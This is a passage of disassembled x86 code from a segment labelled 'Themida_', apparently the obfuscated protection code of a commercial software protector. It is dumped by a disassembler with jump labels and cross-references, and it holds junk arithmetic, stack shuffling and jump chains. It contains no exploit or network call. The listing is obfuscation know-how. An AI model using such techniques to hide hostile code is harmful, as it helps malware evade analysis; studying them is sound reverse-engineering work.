		mov	esp, [esp]
		push	6B7Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59FE6C
; ---------------------------------------------------------------------------


loc_5AE4DE:				; CODE XREF: Themida_:005A3A21j
		shr	dh, 6
		js	loc_5A7920
		jmp	loc_5A44FD
; ---------------------------------------------------------------------------


loc_5AE4EC:				; CODE XREF: Themida_:005AB207j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A08B6
; ---------------------------------------------------------------------------


loc_5AE510:				; CODE XREF: Themida_:0059E9D0j
		or	ecx, 5DBE036Ch
		inc	ecx
		add	ecx, 0A8C1187Ah
		sub	esi, ecx
		jmp	loc_5A4A22
; ---------------------------------------------------------------------------


loc_5AE524:				; CODE XREF: Themida_:005AA604j
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_5A215C
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_5A670F
; ---------------------------------------------------------------------------


loc_5AE538:				; CODE XREF: Themida_:005AA838j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59FCCA
; ---------------------------------------------------------------------------


loc_5AE559:				; CODE XREF: Themida_:005AEB8Aj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE56A:				; CODE XREF: Themida_:0059B831j
		pop	esi
		and	eax, ecx
		jmp	loc_5ACAE1
; ---------------------------------------------------------------------------


loc_5AE572:				; CODE XREF: Themida_:005A53ECj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		jmp	loc_5A54EA
; ---------------------------------------------------------------------------


loc_5AE58F:				; CODE XREF: Themida_:005AA2F8j
		pop	eax
		add	ebx, edi
		jmp	loc_59AF5D
; ---------------------------------------------------------------------------


loc_5AE597:				; CODE XREF: Themida_:0059FBA7j
		jmp	loc_5ADF8A
; ---------------------------------------------------------------------------


loc_5AE59C:				; CODE XREF: Themida_:loc_59FE36j
					; Themida_:005AAF05j
		add	eax, edx
		jmp	loc_5A6DB5
; ---------------------------------------------------------------------------


loc_5AE5A3:				; CODE XREF: Themida_:0059B84Bj
		dec	cx
		not	cx
		sub	cx, 343Ch
		xor	cx, 7182h
		add	si, cx
		pop	ecx
		jmp	loc_5A9E3B
; ---------------------------------------------------------------------------


loc_5AE5BB:				; CODE XREF: Themida_:005987C9j
		add	esp, 4
		jmp	loc_5A51FC
; ---------------------------------------------------------------------------


loc_5AE5C6:				; CODE XREF: Themida_:0059D27Aj
					; Themida_:005AC647j
		push	652Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_598EBA
; ---------------------------------------------------------------------------


loc_5AE5D7:				; CODE XREF: Themida_:005A207Cj
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 232015CFh
		sub	ebp, ecx
		push	edi
		mov	edi, 3A0F1623h
		dec	edi
		not	edi
		jmp	loc_5987F4
; ---------------------------------------------------------------------------


loc_5AE5F6:				; CODE XREF: Themida_:0059D322j
		mov	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		sub	edx, 77427A6h
		jmp	loc_5A086D
; ---------------------------------------------------------------------------


loc_5AE610:				; CODE XREF: Themida_:loc_59CB19j
					; Themida_:005AE405j
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_59D9CF
; ---------------------------------------------------------------------------


loc_5AE61F:				; CODE XREF: Themida_:005A03C0j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	875h
		jmp	loc_5A2DC5
; ---------------------------------------------------------------------------


loc_5AE630:				; CODE XREF: Themida_:00598FE5j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5ACBDD
; ---------------------------------------------------------------------------


loc_5AE653:				; CODE XREF: Themida_:0059CD7Bj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		mov	al, 5Bh
		and	bh, al
		mov	ax, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 1
		jmp	loc_5AB5FC
; ---------------------------------------------------------------------------


loc_5AE682:				; CODE XREF: Themida_:005A9AD5j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A9E9D
; ---------------------------------------------------------------------------


loc_5AE68C:				; CODE XREF: Themida_:005A445Ej
					; Themida_:005AC6D8j
		xor	ebp, 0EDCB5072h
		add	esi, ebp
		jmp	loc_5A25F9
; ---------------------------------------------------------------------------


loc_5AE699:				; CODE XREF: Themida_:005AEF80j
		jp	loc_5A140C
		inc	ecx
		jmp	loc_5A8CF2
; ---------------------------------------------------------------------------


loc_5AE6A5:				; CODE XREF: Themida_:005A5DB9j
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 60B7535Eh
		sub	edx, 14B4270Bh
		not	edx
		inc	edx
		sub	edx, 57AC169Ah
		shr	edx, 4
		add	edx, 0FA3AF433h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_59FE81
; ---------------------------------------------------------------------------


loc_5AE6D8:				; CODE XREF: Themida_:00598EA3j
		add	ebx, 315E3068h
		jmp	loc_5A379B
; ---------------------------------------------------------------------------


loc_5AE6E3:				; CODE XREF: Themida_:005AF4F7j
		push	esp
		pop	eax
		push	edx
		push	eax
		push	55872A44h
		pop	eax
		add	eax, 21152719h
		jmp	loc_5AD4AD
; ---------------------------------------------------------------------------


loc_5AE6F7:				; CODE XREF: Themida_:0059C7C4j
		xchg	ebp, ebx
		inc	ebp
		xchg	ebp, ebx
		or	ebx, 2FE00B9Fh
		jmp	loc_5A2F81
; ---------------------------------------------------------------------------


loc_5AE707:				; CODE XREF: Themida_:00599D04j
		or	dh, 7Eh
		jmp	loc_5A3257
; ---------------------------------------------------------------------------


loc_5AE70F:				; CODE XREF: Themida_:005A44A7j
					; Themida_:005A935Bj ...
		mov	esi, 46E03866h
		add	ebx, 30101C64h
		add	ebx, esi
		jmp	loc_59BFA3
; ---------------------------------------------------------------------------


loc_5AE721:				; CODE XREF: Themida_:005A2A52j
		mov	edi, 800h
		mov	esi, edi
		pop	edi
		and	eax, esi
		pop	esi
		jmp	loc_59B23A
; ---------------------------------------------------------------------------


loc_5AE731:				; CODE XREF: Themida_:005A3679j
		xor	esi, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE741:				; CODE XREF: Themida_:0059FF5Fj
		inc	edx
		add	edx, 4EED0F75h
		add	edx, 0FDB2A38Fh
		add	esi, edx
		pop	edx
		mov	edx, esi
		pop	esi
		sub	esi, 1305770Ch
		jmp	loc_599C57
; ---------------------------------------------------------------------------


loc_5AE75F:				; CODE XREF: Themida_:005A2372j
					; Themida_:loc_5AA74Aj
		mov	cx, [esp]
		push	25B3h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A202A
; ---------------------------------------------------------------------------


loc_5AE77A:				; CODE XREF: Themida_:0059AA1Aj
		add	ebp, 20760BFDh
		jmp	loc_5A7D28
; ---------------------------------------------------------------------------


loc_5AE785:				; CODE XREF: Themida_:0059F0CAj
		or	edi, edx
		pop	edx
		shl	edi, 3
		push	esi
		mov	esi, 3ACA5C50h
		and	esi, 16F77C4Eh
		xor	esi, 7C4D0649h
		add	esi, 1C39495Bh
		sub	edi, esi
		jmp	loc_599D2D
; ---------------------------------------------------------------------------


loc_5AE7AA:				; CODE XREF: Themida_:005A5FB6j
		push	2A92h
		jmp	loc_5ADE87
; ---------------------------------------------------------------------------


loc_5AE7B4:				; CODE XREF: Themida_:0059F425j
		pop	esp
		jmp	loc_5A1AC6
; ---------------------------------------------------------------------------


loc_5AE7BA:				; CODE XREF: Themida_:0059D608j
		push	3A8776FDh
		pop	ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		sub	ebx, 3ACB7227h
		sub	ebx, 57B9037Bh
		xor	ecx, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A8A14
; ---------------------------------------------------------------------------


loc_5AE7E3:				; CODE XREF: Themida_:00599158j
					; Themida_:005A6075j
		add	esp, 4
		jmp	loc_5A164B
; ---------------------------------------------------------------------------


loc_5AE7EB:				; CODE XREF: Themida_:0059E3E3j
		push	esi
		jmp	loc_5AB10D
; ---------------------------------------------------------------------------


loc_5AE7F1:				; CODE XREF: Themida_:005A0CF2j
		add	esi, 22FB569Bh
		add	esi, 99CF4673h
		jmp	loc_5A330D
; ---------------------------------------------------------------------------


loc_5AE802:				; CODE XREF: Themida_:005A5645j
		mov	[esp], eax
		jmp	loc_5999B3
; ---------------------------------------------------------------------------


loc_5AE80A:				; CODE XREF: Themida_:0059B1A1j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_5A40F9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A609B
; ---------------------------------------------------------------------------


loc_5AE837:				; CODE XREF: Themida_:005A39F3j
		jmp	loc_59AB8C
; ---------------------------------------------------------------------------


loc_5AE83C:				; CODE XREF: Themida_:005A7046j
		sub	eax, 6EB4002Bh
		jmp	loc_5AA574
; ---------------------------------------------------------------------------


loc_5AE846:				; CODE XREF: Themida_:005A0532j
		mov	[esp], eax
		jmp	loc_5AD775
; ---------------------------------------------------------------------------


loc_5AE84E:				; CODE XREF: Themida_:005A1E92j
		push	eax
		jmp	loc_599A36
; ---------------------------------------------------------------------------


loc_5AE854:				; CODE XREF: Themida_:0059DAF0j
		add	edx, esi
		jmp	loc_59E3F5
; ---------------------------------------------------------------------------


loc_5AE85B:				; CODE XREF: Themida_:005A750Bj
		push	49B44248h
		pop	ebx
		neg	ebx
		js	loc_5A852D
		shr	ebx, 5
		dec	ebx
		jle	loc_5ACE0E


loc_5AE873:				; CODE XREF: Themida_:005A6E75j
		sub	edx, 7A700002h
		sub	ebp, edx
		pop	edx
		add	ebp, 433C0519h
		or	ebp, 4BF5051Dh
		and	ebp, 3747B4Fh
		shr	ebp, 3
		xor	ebp, 6D0E8211h
		xor	ecx, ebp
		pop	ebp
		sub	[eax], ecx
		pop	ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE8A2:				; CODE XREF: Themida_:loc_5A8355j
		inc	ebx
		jmp	loc_5AD498
; ---------------------------------------------------------------------------


loc_5AE8A8:				; CODE XREF: Themida_:005A566Dj
					; Themida_:005AECC4j
		add	esi, 1A0010A6h
		add	ebx, esi
		jmp	loc_5A133C
; ---------------------------------------------------------------------------


loc_5AE8B5:				; CODE XREF: Themida_:005A8350j
		mov	bl, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5AE495
; ---------------------------------------------------------------------------


loc_5AE8C3:				; CODE XREF: Themida_:0059E21Dj
		not	ebp
		inc	ebp
		xor	ebp, 0B336FB8Dh
		mov	edi, ebp
		pop	ebp
		add	ebp, 72DC5BC4h
		add	ebp, 4B13532h
		sub	ebp, edi
		push	ebx
		jmp	loc_5AAD17
; ---------------------------------------------------------------------------


loc_5AE8E3:				; CODE XREF: Themida_:005A8392j
		neg	ebx
		jmp	loc_5AB2F9
; ---------------------------------------------------------------------------


loc_5AE8EA:				; CODE XREF: Themida_:005AABEEj
		mov	esi, [esp]
		add	esp, 4
		push	3185h
		jmp	loc_5A9DC6
; ---------------------------------------------------------------------------


loc_5AE8FA:				; CODE XREF: Themida_:005A580Fj
		pop	esi
		jmp	loc_5AF2DC
; ---------------------------------------------------------------------------


loc_5AE900:				; CODE XREF: Themida_:005A247Fj
		add	eax, 4CBE5BD6h
		jle	loc_5A138F
		xor	eax, 17D19C7h
		jmp	loc_5A3F09
; ---------------------------------------------------------------------------


loc_5AE915:				; CODE XREF: Themida_:005AEAD8j
		or	edx, 5364234Bh
		ja	loc_5A5667
		and	edx, 4D2E72A6h
		jmp	loc_5AE057
; ---------------------------------------------------------------------------
		mov	ah, bl


loc_5AE92E:				; CODE XREF: Themida_:005A6C84j
		xor	ebx, ebp
		jmp	loc_5A8C0B
; ---------------------------------------------------------------------------


loc_5AE935:				; CODE XREF: Themida_:0059FD17j
		xor	edi, 7A376811h
		sub	edi, 53F41A9Dh
		jmp	loc_59E1D8
; ---------------------------------------------------------------------------


loc_5AE946:				; CODE XREF: Themida_:005A56B2j
					; Themida_:005AB84Fj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59B0B3
; ---------------------------------------------------------------------------


loc_5AE959:				; CODE XREF: Themida_:005ABC90j
		jmp	loc_5A9216
; ---------------------------------------------------------------------------


loc_5AE95E:				; CODE XREF: Themida_:005A3ECEj
		sub	eax, ebx
		jmp	loc_5A4BE2
; ---------------------------------------------------------------------------


loc_5AE965:				; CODE XREF: Themida_:0059FAEAj
		push	ebx
		jmp	loc_5AD0C8
; ---------------------------------------------------------------------------


loc_5AE96B:				; CODE XREF: Themida_:0059F777j
		push	esp
		jmp	loc_59BA9C
; ---------------------------------------------------------------------------


loc_5AE971:				; CODE XREF: Themida_:0059B6C4j
		push	ebp
		mov	ebp, 1BE84A55h
		jmp	loc_5A6B46
; ---------------------------------------------------------------------------


loc_5AE97C:				; CODE XREF: Themida_:0059F01Dj
		pop	edi
		sub	ebx, 57FF6050h
		add	ebx, edi
		add	ebx, 57FF6050h
		pop	edi
		sub	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, edi
		jmp	loc_59B40B
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		push	6863h
		mov	[esp], edi
		push	63C2A251h
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_59AC9C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE9CC:				; CODE XREF: Themida_:0059A13Dj
		mov	[esp], edi
		push	388Ch
		jmp	loc_5A4C28
; ---------------------------------------------------------------------------


loc_5AE9D9:				; CODE XREF: Themida_:005A6BCFj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	6503h
		mov	[esp], esi
		jmp	loc_5A6A00
; ---------------------------------------------------------------------------


loc_5AEA03:				; CODE XREF: Themida_:0059C3DAj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEA08:				; CODE XREF: Themida_:005A1BAAj
		mov	ecx, 25E47F66h
		or	ebx, ecx
		pop	ecx
		jmp	loc_5AE12D
; ---------------------------------------------------------------------------


loc_5AEA15:				; CODE XREF: Themida_:005A0C0Aj
		push	4A4715D4h
		mov	ecx, [esp]
		push	esi
		jmp	loc_5AF3CB
; ---------------------------------------------------------------------------


loc_5AEA23:				; CODE XREF: Themida_:005A0AA4j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	eax, edi
		pop	edi
		add	eax, edx
		push	60A8h
		mov	[esp], edx
		push	eax
		push	731B05C3h
		pop	eax
		add	eax, 0AA071230h
		jmp	loc_5A3EB1
; ---------------------------------------------------------------------------


loc_5AEA48:				; CODE XREF: Themida_:005A7563j
		jz	loc_5A5EB6
		shl	ebx, 1
		jnp	loc_59B7E4
		push	eax
		push	ecx
		push	3DE5712Fh
		pop	ecx
		jmp	loc_5A6822
; ---------------------------------------------------------------------------


loc_5AEA63:				; CODE XREF: Themida_:005AC8A4j
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A69DD
; ---------------------------------------------------------------------------


loc_5AEA6B:				; CODE XREF: Themida_:0059A904j
		sub	ch, 45h
		pop	edx
		add	dh, ch
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	616Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 6A5F66F0h
		neg	eax
		ja	loc_5A7D10
		jmp	loc_5A1F3B
; ---------------------------------------------------------------------------


loc_5AEA9E:				; CODE XREF: Themida_:005AC146j
		add	edx, 0EE508F90h
		xor	eax, edx
		pop	edx
		jmp	loc_5A2013
; ---------------------------------------------------------------------------


loc_5AEAAC:				; CODE XREF: Themida_:0059FBADj
		xor	ebx, 58616B55h
		jmp	loc_5A8122
; ---------------------------------------------------------------------------


loc_5AEAB7:				; CODE XREF: Themida_:005A409Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEABC:				; CODE XREF: Themida_:0059FF40j
		sub	esi, 42150DA5h
		xor	edx, esi
		pop	esi
		jmp	loc_599EA3
; ---------------------------------------------------------------------------


loc_5AEACA:				; CODE XREF: Themida_:005ABA54j
		pop	eax
		jmp	loc_59BB65
; ---------------------------------------------------------------------------


loc_5AEAD0:				; CODE XREF: Themida_:005A28E9j
		not	edx
		and	edx, 20E166D1h
		jz	loc_5AE915
		or	edx, 5364234Bh
		ja	loc_59AC24
		and	edx, 4D2E72A6h
		jmp	loc_5A4BDB
; ---------------------------------------------------------------------------


loc_5AEAF5:				; CODE XREF: Themida_:005AC26Aj
					; Themida_:005AE1DBj
		add	eax, ecx
		pop	ecx
		jmp	loc_598B4C
; ---------------------------------------------------------------------------


loc_5AEAFD:				; CODE XREF: Themida_:005AC675j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEB0B:				; CODE XREF: Themida_:0059F1EBj
		pop	ebx
		sub	bl, ch
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A623F
; ---------------------------------------------------------------------------


loc_5AEB2A:				; CODE XREF: Themida_:005AB2B5j
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_5A9606
; ---------------------------------------------------------------------------


loc_5AEB3D:				; CODE XREF: Themida_:0059FDEAj
		mov	ebx, esi
		pop	esi
		sub	ebx, 7B664954h
		dec	ebx
		jns	loc_5A0A71
		add	ebx, 0A7672EEh
		jno	loc_5A8355
		jmp	loc_59B172
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_59F065
; ---------------------------------------------------------------------------
		mov	ch, al


loc_5AEB68:				; CODE XREF: Themida_:005AB91Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5AE559
; ---------------------------------------------------------------------------


loc_5AEB8F:				; CODE XREF: Themida_:005A00E6j
		pop	ebp
		push	esi
		push	edi
		jmp	loc_59FB20
; ---------------------------------------------------------------------------


loc_5AEB97:				; CODE XREF: Themida_:005A096Cj
		push	ecx
		mov	ecx, 3C91C503h
		add	ebp, ecx
		pop	ecx
		xchg	esi, ebp
		xchg	ecx, esi
		not	ecx
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		xchg	esi, ebp
		add	ebp, 8A7C5562h
		push	ebp
		mov	ebp, 5EAF2219h
		add	ebx, ebp
		jmp	loc_5A01CC
; ---------------------------------------------------------------------------


loc_5AEBBF:				; CODE XREF: Themida_:005A20DDj
		dec	edi
		sub	esp, 4
		jmp	loc_5A32D0
; ---------------------------------------------------------------------------


loc_5AEBCB:				; CODE XREF: Themida_:00598F63j
		add	eax, 2B02D5Bh
		add	eax, ebx
		sub	eax, 2B02D5Bh
		add	eax, 38285947h
		jmp	loc_5AAC15
; ---------------------------------------------------------------------------


loc_5AEBE1:				; CODE XREF: Themida_:005A7E12j
		jmp	loc_59AE38
; ---------------------------------------------------------------------------


loc_5AEBE6:				; CODE XREF: Themida_:0059F408j
		sub	[esp+0Ch], edi
		pop	edi
		jmp	loc_5A72F8
; ---------------------------------------------------------------------------


loc_5AEBF0:				; CODE XREF: Themida_:005A01E0j
					; Themida_:005A67F8j
		add	edx, 4
		jmp	loc_5A1AE5
; ---------------------------------------------------------------------------


loc_5AEBF8:				; CODE XREF: Themida_:005A39CEj
		add	dword ptr [esp], 51DB57A0h
		pop	edi
		sub	edi, 51DB57A0h
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AED5D
; ---------------------------------------------------------------------------


loc_5AEC18:				; CODE XREF: Themida_:005993FCj
		jmp	loc_5AB444
; ---------------------------------------------------------------------------


loc_5AEC1D:				; CODE XREF: Themida_:005A84D5j
		jp	loc_59A1D6
		jmp	loc_5AECF7
; ---------------------------------------------------------------------------


loc_5AEC28:				; CODE XREF: Themida_:005ACEDBj
		mov	ecx, 5FA903A0h
		shr	ecx, 6
		xor	ecx, 7295943Eh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_59C912
; ---------------------------------------------------------------------------


loc_5AEC47:				; CODE XREF: Themida_:005A91DEj
		push	3AD3h
		mov	[esp], ebx
		mov	ebx, 7F687310h
		push	0B4Fh
		mov	[esp], esi
		mov	esi, 6D597893h
		sub	ebx, esi
		pop	esi
		shr	ebx, 6
		push	55BEh
		mov	[esp], esi
		push	edi
		mov	edi, 317B4A3Bh
		shl	edi, 5
		not	edi
		and	edi, 7B02644h
		jmp	loc_5AA787
; ---------------------------------------------------------------------------


loc_5AEC85:				; CODE XREF: Themida_:005AAC93j
		add	esi, 38682825h
		jmp	loc_59E6CF
; ---------------------------------------------------------------------------


loc_5AEC90:				; CODE XREF: Themida_:005A85B1j
		or	ebx, 75B9602Fh
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xor	ebx, 6DC41986h
		push	edx
		jmp	loc_5989BA
; ---------------------------------------------------------------------------


loc_5AECA8:				; CODE XREF: Themida_:005A88ECj
		sub	eax, 0FFFFFFFFh
		shr	eax, 6
		jz	loc_5A1FE8
		push	ecx
		mov	ecx, 25E97A6Fh
		not	ecx
		jmp	loc_59C896
; ---------------------------------------------------------------------------


loc_5AECC3:				; CODE XREF: Themida_:0059C552j
		pop	esi
		jmp	loc_5AE8A8
; ---------------------------------------------------------------------------


loc_5AECC9:				; CODE XREF: Themida_:005AAD50j
		push	ebx
		jmp	loc_5AE09E
; ---------------------------------------------------------------------------


loc_5AECCF:				; CODE XREF: Themida_:0059DB0Aj
		add	ebp, 0F774A9B5h
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_5A50D9
; ---------------------------------------------------------------------------


loc_5AECE9:				; CODE XREF: Themida_:005A454Fj
		sub	eax, edx
		pop	edx
		pop	edi
		add	eax, 4
		jmp	loc_5AA04D
; ---------------------------------------------------------------------------


loc_5AECF7:				; CODE XREF: Themida_:005A899Fj
					; Themida_:005AEC23j
		mov	edx, 3BC53F98h
		push	ebp
		mov	ebp, 3A8667B0h
		add	edx, ebp
		push	dword ptr [esp]
		jmp	loc_5A9C5A
; ---------------------------------------------------------------------------


loc_5AED0C:				; CODE XREF: Themida_:loc_5A8C06j
		add	ebx, 0F9A763ECh
		jmp	loc_5A62DA
; ---------------------------------------------------------------------------


loc_5AED17:				; CODE XREF: Themida_:005A733Aj
		push	ebp
		push	eax
		mov	eax, 1E0F1E36h
		push	eax
		add	dword ptr [esp], 3125AB9h
		jmp	loc_599B2E
; ---------------------------------------------------------------------------


loc_5AED2B:				; CODE XREF: Themida_:005A26BEj
		push	ebx
		mov	bl, ch
		push	ecx
		mov	cl, bl
		jmp	loc_5A6EA7
; ---------------------------------------------------------------------------


loc_5AED36:				; CODE XREF: Themida_:0059AED4j
		shl	ebx, 5
		jmp	loc_59E051
; ---------------------------------------------------------------------------


loc_5AED3E:				; CODE XREF: Themida_:005A90D7j
		xor	[esp], ebx
		jmp	loc_59A97E
; ---------------------------------------------------------------------------


loc_5AED46:				; CODE XREF: Themida_:00598419j
		xor	esi, 0A820A029h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59ADB4
; ---------------------------------------------------------------------------


loc_5AED5D:				; CODE XREF: Themida_:005AEC13j
		add	eax, 3F550B80h
		add	eax, edi
		push	5E91h
		mov	[esp], edx
		mov	edx, 2C685C88h
		jmp	loc_5A58B8
; ---------------------------------------------------------------------------


loc_5AED76:				; CODE XREF: Themida_:00598912j
		xchg	ecx, [esp]
		jmp	loc_5A3947
; ---------------------------------------------------------------------------


loc_5AED7E:				; CODE XREF: Themida_:loc_5985C3j
					; Themida_:005AD2FEj
		mov	bh, 82h
		shr	bh, 8
		js	loc_5A7EB6
		neg	bh
		dec	bh
		xor	bh, 0D7h
		jle	loc_5AEF85
		jmp	loc_59D7F2
; ---------------------------------------------------------------------------


loc_5AED9B:				; CODE XREF: Themida_:0059ECD7j
		xor	ebx, edx
		pop	edx
		xor	ebx, 778BFBC2h
		jmp	loc_59BC4B
; ---------------------------------------------------------------------------


loc_5AEDA9:				; CODE XREF: Themida_:005A1B1Dj
		add	edi, 1FFE511Eh
		jmp	loc_5A2BAD
; ---------------------------------------------------------------------------


loc_5AEDB4:				; CODE XREF: Themida_:005985BEj
		mov	ecx, 3AAA4A2Eh
		mov	edx, ecx
		pop	ecx
		add	ebx, edx
		jmp	loc_5A07EB
; ---------------------------------------------------------------------------


loc_5AEDC3:				; CODE XREF: Themida_:loc_5A3384j
		sub	eax, 0E67B9BB1h
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_5A31C9
; ---------------------------------------------------------------------------


loc_5AEDD2:				; CODE XREF: Themida_:005A35DAj
					; Themida_:005AF318j
		mov	esi, 53373DB6h
		and	esi, 12205F81h
		jmp	loc_5A5672
; ---------------------------------------------------------------------------


loc_5AEDE2:				; CODE XREF: Themida_:005AAD99j
		inc	eax
		sub	eax, 5842258Dh
		add	edx, eax
		pop	eax
		jmp	loc_5AC568
; ---------------------------------------------------------------------------


loc_5AEDF0:				; CODE XREF: Themida_:005A4568j
		mov	edi, 4
		add	eax, edi
		jmp	loc_5A51DC
; ---------------------------------------------------------------------------


loc_5AEDFC:				; CODE XREF: Themida_:005A2ECEj
		or	edi, 6E891EE9h
		dec	edi
		push	eax
		mov	eax, 1
		sub	edi, eax
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59F9B2
; ---------------------------------------------------------------------------


loc_5AEE14:				; CODE XREF: Themida_:005A0A3Ej
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2ADB50D5h
		push	0
		sub	[esp], eax
		jmp	loc_5A4A14
; ---------------------------------------------------------------------------


loc_5AEE2D:				; CODE XREF: Themida_:00598B21j
		pop	eax
		dec	ebx
		xor	ebx, 55D5AE63h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 415E6D59h
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	cx
		push	edi
		jmp	loc_59FBB7
; ---------------------------------------------------------------------------


loc_5AEE59:				; CODE XREF: Themida_:005A9729j
		add	eax, 475D42F3h
		jnp	loc_599D18
		add	eax, 71412064h
		jnb	loc_5ADD25
		mov	ch, dh
		pop	esi


loc_5AEE72:				; CODE XREF: Themida_:0059B355j
		mov	al, 51h
		xor	al, dl
		jmp	loc_59CEFF
; ---------------------------------------------------------------------------


loc_5AEE7B:				; CODE XREF: Themida_:005A9660j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_59890C
; ---------------------------------------------------------------------------


loc_5AEEA3:				; CODE XREF: Themida_:005A42F0j
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, edi
		jmp	loc_5A388E
; ---------------------------------------------------------------------------


loc_5AEEC5:				; CODE XREF: Themida_:005AB050j
		pop	edx
		xor	edx, 5C69089Ah
		mov	ebx, edx
		pop	edx
		jmp	loc_59DEE2
; ---------------------------------------------------------------------------


loc_5AEED4:				; CODE XREF: Themida_:005AF122j
		xor	eax, 75862CF9h
		push	edx
		jmp	loc_5A2178
; ---------------------------------------------------------------------------


loc_5AEEDF:				; CODE XREF: Themida_:005A941Aj
		push	edx
		mov	edx, 3C2279BCh
		jmp	loc_5A20A4
; ---------------------------------------------------------------------------


